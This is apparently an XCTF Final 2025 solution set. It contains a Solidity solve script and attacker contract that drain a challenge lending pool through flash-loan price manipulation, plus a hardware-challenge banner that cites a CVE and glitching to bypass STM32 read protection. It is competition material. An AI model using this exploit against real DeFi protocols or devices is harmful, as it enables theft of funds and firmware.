2025 XCTF Final 题解

// SPDX-License-Identifier: MITpragma solidity ^0.8.23;import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/Setup.sol";import "./Attacker.sol";import "./SimpleAttacker.sol";contract SolveScript is Script {    Setup public setup;    Attacker public attacker;    SimpleAttacker public simpleAttacker;        function run() external {        // Setup the environment        vm.startBroadcast();                // Deploy Setup contract        setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);        // setup = new Setup();        console.log("Setup deployed at:", address(setup));                // Deploy Simple Attacker contract          simpleAttacker = new SimpleAttacker(address(setup));        console.log("SimpleAttacker deployed at:", address(simpleAttacker));                // Log initial state        console.log("=== Initial State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Flash minter balance:", setup.stableToken().balanceOf(address(setup.flashMinter())));        console.log("Is solved before attack:", setup.isSolved());                // Get DEX reserves before attack        (uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();        console.log("DEX reserves before - Collateral:", reserve0Before, "Stable:", reserve1Before);                // Execute the attack        console.log("\n=== Executing Attack ===");        simpleAttacker.attack();                // Check balances after attack        console.log("\n=== Post-Attack State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("SimpleAttacker stable balance:", setup.stableToken().balanceOf(address(simpleAttacker)));                // Get DEX reserves after attack        (uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();        console.log("DEX reserves after - Collateral:", reserve0After, "Stable:", reserve1After);                // Check if solved        console.log("Is solved after attack:", setup.isSolved());                // Verify target conditions        uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));        uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);                console.log("\n=== Target Verification ===");        console.log("Target pool balance:", setup.TARGET_POOL_BALANCE());        console.log("Actual pool balance:", poolBalance);        console.log("Target player balance:", setup.TARGET_PLAYER_BALANCE());        console.log("Actual player balance:", playerBalance);                bool poolCondition = poolBalance <= setup.TARGET_POOL_BALANCE();        bool playerCondition = playerBalance >= setup.TARGET_PLAYER_BALANCE();                console.log("Pool condition met:", poolCondition);        console.log("Player condition met:", playerCondition);        console.log("Challenge solved:", poolCondition && playerCondition);                vm.stopBroadcast();    }        // Alternative function to run attack on existing setup    function runWithExistingSetup(address setupAddress) external {        vm.startBroadcast();                setup = Setup(setupAddress);        console.log("Using existing Setup at:", setupAddress);                // Deploy SimpleAttacker contract        simpleAttacker = new SimpleAttacker(setupAddress);        console.log("SimpleAttacker deployed at:", address(simpleAttacker));                // Log initial state        console.log("=== Initial State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Is solved before attack:", setup.isSolved());                // Execute the attack        console.log("\n=== Executing Attack ===");        simpleAttacker.attack();                // Check final state        console.log("\n=== Final State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Is solved:", setup.isSolved());                vm.stopBroadcast();    }}

// SPDX-License-Identifier: MITpragma solidity ^0.8.23;import "../src/Setup.sol";import "../src/core/WarpDexPair.sol";import "../src/core/WarpLendingPool.sol";import "../src/utils/StableFlashMinter.sol";import "../src/tokens/MockERC20.sol";contract SimpleAttacker {    Setup public setup;    MockERC20 public collateralToken;    MockERC20 public stableToken;    WarpDexPair public dex;    WarpLendingPool public pool;    StableFlashMinter public flashMinter;        address public owner;        constructor(address _setup) {        setup = Setup(_setup);        collateralToken = setup.collateralToken();        stableToken = setup.stableToken();        dex = setup.dex();        pool = setup.pool();        flashMinter = setup.flashMinter();        owner = msg.sender;    }        function attack() external {        require(msg.sender == owner, "Only owner can attack");                // Claim initial tokens first        setup.claim();                // Execute multiple flash loans to extract maximum value        for (uint256 i = 0; i < 5; i++) {            uint256 available = stableToken.balanceOf(address(flashMinter));            if (available > 1 ether) {                bytes memory data = abi.encode(i);                flashMinter.flashBorrow(available, data);            } else {                break;            }        }                // Final cleanup: withdraw any remaining collateral        _finalCleanup();    }        function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {        require(msg.sender == address(flashMinter), "Only flash minter can call");                uint256 round = abi.decode(data, (uint256));                // Calculate repayment amount        uint256 repayAmount = amount + fee;                if (round == 0) {            // First round: major price manipulation and pool draining            _firstRoundAttack(amount, repayAmount);        } else {            // Subsequent rounds: extract more value from collateral            _extractMoreValue(amount, repayAmount);        }                // Always ensure repayment        _ensureRepayment(repayAmount);                // Transfer any remaining profit to owner        uint256 profit = stableToken.balanceOf(address(this));        if (profit > 0) {            stableToken.transfer(owner, profit);        }    }        function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {        // Use most of flash loan for price manipulation        uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation                // Swap to get collateral at low price        stableToken.approve(address(dex), manipulationAmount);        uint256 collateralReceived = dex.swap(            address(stableToken),            manipulationAmount,            0,            address(this)        );                // Deposit all collateral to maximize borrowing power        collateralToken.approve(address(pool), collateralReceived);        pool.depositCollateral(collateralReceived);                // Borrow everything possible from the pool        uint256 poolBalance = stableToken.balanceOf(address(pool));        (,uint256 maxBorrowable,) = pool.accountStatus(address(this));                uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance;        if (borrowAmount > 0) {            pool.borrow(borrowAmount);        }    }        function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {        // For later rounds, focus on extracting value from our collateral position        uint256 collateralDeposited = pool.collateralDeposits(address(this));        uint256 currentDebt = pool.debt(address(this));                if (collateralDeposited > 0) {            // Calculate how much we can safely withdraw            (uint256 collateralValue,,) = pool.accountStatus(address(this));                        // Minimum collateral value needed to maintain position            uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();                        if (collateralValue > minCollateralValue) {                // We can withdraw some excess collateral                uint256 excessValue = collateralValue - minCollateralValue;                uint256 currentPrice = dex.spotPrice(address(collateralToken));                uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;                                // Withdraw with safety margin                maxWithdraw = (maxWithdraw * 90) / 100;                                if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) {                    pool.withdrawCollateral(maxWithdraw);                                        // Sell the withdrawn collateral                    collateralToken.approve(address(dex), maxWithdraw);                    dex.swap(                        address(collateralToken),                        maxWithdraw,                        0,                        address(this)                    );                }            }                        // Try to do another round of price manipulation with available funds            uint256 availableForManipulation = stableToken.balanceOf(address(this));            if (availableForManipulation > repayAmount + 100 ether) {                uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;                                // Another round of price manipulation                stableToken.approve(address(dex), manipAmount);                uint256 newCollateral = dex.swap(                    address(stableToken),                    manipAmount,                    0,                    address(this)                );                                // Deposit and borrow again                collateralToken.approve(address(pool), newCollateral);                pool.depositCollateral(newCollateral);                                (,uint256 newMaxBorrow,) = pool.accountStatus(address(this));                uint256 additionalBorrow = newMaxBorrow - currentDebt;                                uint256 poolBalance = stableToken.balanceOf(address(pool));                if (additionalBorrow > 0 && additionalBorrow <= poolBalance) {                    pool.borrow(additionalBorrow);                }            }        }    }        function _ensureRepayment(uint256 repayAmount) internal {        uint256 currentBalance = stableToken.balanceOf(address(this));                if (currentBalance < repayAmount) {            uint256 shortage = repayAmount - currentBalance;                        // Withdraw collateral to cover shortage            (uint112 reserve0, uint112 reserve1) = dex.getReserves();            uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);                        uint256 availableCollateral = pool.collateralDeposits(address(this));            if (collateralNeeded > availableCollateral) {                collateralNeeded = availableCollateral;            }                        if (collateralNeeded > 0) {                pool.withdrawCollateral(collateralNeeded);                collateralToken.approve(address(dex), collateralNeeded);                dex.swap(                    address(collateralToken),                    collateralNeeded,                    0,                    address(this)                );            }        }                // Repay the flash loan        stableToken.transfer(address(flashMinter), repayAmount);    }        function _finalCleanup() internal {        // Extract any remaining collateral value        uint256 remainingCollateral = pool.collateralDeposits(address(this));        uint256 currentDebt = pool.debt(address(this));                if (remainingCollateral > 0) {            // Try to withdraw remaining collateral if debt allows            if (currentDebt == 0) {                // No debt, can withdraw everything                pool.withdrawCollateral(remainingCollateral);                collateralToken.approve(address(dex), remainingCollateral);                dex.swap(                    address(collateralToken),                    remainingCollateral,                    0,                    owner                );            } else {                // Calculate safe withdrawal amount                (uint256 collateralValue,,) = pool.accountStatus(address(this));                uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();                                if (collateralValue > minRequired) {                    uint256 excessValue = collateralValue - minRequired;                    uint256 currentPrice = dex.spotPrice(address(collateralToken));                    uint256 withdrawable = (excessValue * 1e18) / currentPrice;                    withdrawable = (withdrawable * 95) / 100; // Safety margin                                        if (withdrawable > 0 && withdrawable <= remainingCollateral) {                        pool.withdrawCollateral(withdrawable);                        collateralToken.approve(address(dex), withdrawable);                        dex.swap(                            address(collateralToken),                            withdrawable,                            0,                            owner                        );                    }                }            }        }                // Transfer any remaining stable tokens to owner        uint256 remainingStable = stableToken.balanceOf(address(this));        if (remainingStable > 0) {            stableToken.transfer(owner, remainingStable);        }    }        // Check if attack was successful    function checkSuccess() external view returns (bool) {        return setup.isSolved();    }}

__   __ _____  _______  ______            ____    _____  _____\ \ / // ____||__   __||  ____|          / __ \  / ____||  __ \ \ V /| |        | |   | |__      \ /   | |  | || (___  | |__) |  > < | |        | |   |  __|      X    | |  | | \___ \ |  _  / / . \| |____    | |   | |        / \   | |__| | ____) || | \ \/_/ \_\\_____|   |_|   |_|               \____/ |_____/ |_|  \_\[*] Welcome to XCTF Final 2025 ~[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID ![2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !